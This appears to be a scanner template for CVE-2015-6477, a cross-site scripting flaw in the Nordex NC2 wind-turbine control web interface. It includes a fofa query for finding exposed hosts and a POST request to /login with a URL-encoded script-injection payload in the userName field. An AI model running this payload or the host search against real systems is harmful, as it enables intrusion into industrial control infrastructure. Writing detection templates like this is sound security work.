Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
fofa: app="Nordex-Control"
PoC代码[已公开]
id: CVE-2015-6477
info:
name: Nordex NC2 - Cross-Site Scripting
author: geeknik
severity: medium
description: |-
Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
fofa: app="Nordex-Control"
reference:
- https://seclists.org/fulldisclosure/2015/Dec/117
- https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
- https://nvd.nist.gov/vuln/detail/CVE-2015-6477
- http://packetstormsecurity.com/files/135068/Nordex-Control-2-NC2-SCADA-16-Cross-Site-Scripting.html
- http://seclists.org/fulldisclosure/2015/Dec/117
tags: cve2015,cve,xss,iot,nordex
created: 2024/03/18
set:
randstr: randomLowercase(16)
rules:
r0:
request:
method: POST
path: /login
body: |
connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27{{randstr}}%27%29%3C%2Fscript%3E&pw=nordex&language=en
expression: response.raw_header.bcontains(b'text/html') && response.body.bcontains(bytes("</script><script>alert('" + randstr + "')</script>")) && response.body.bcontains(b'loginErrorCallback')
expression: r0()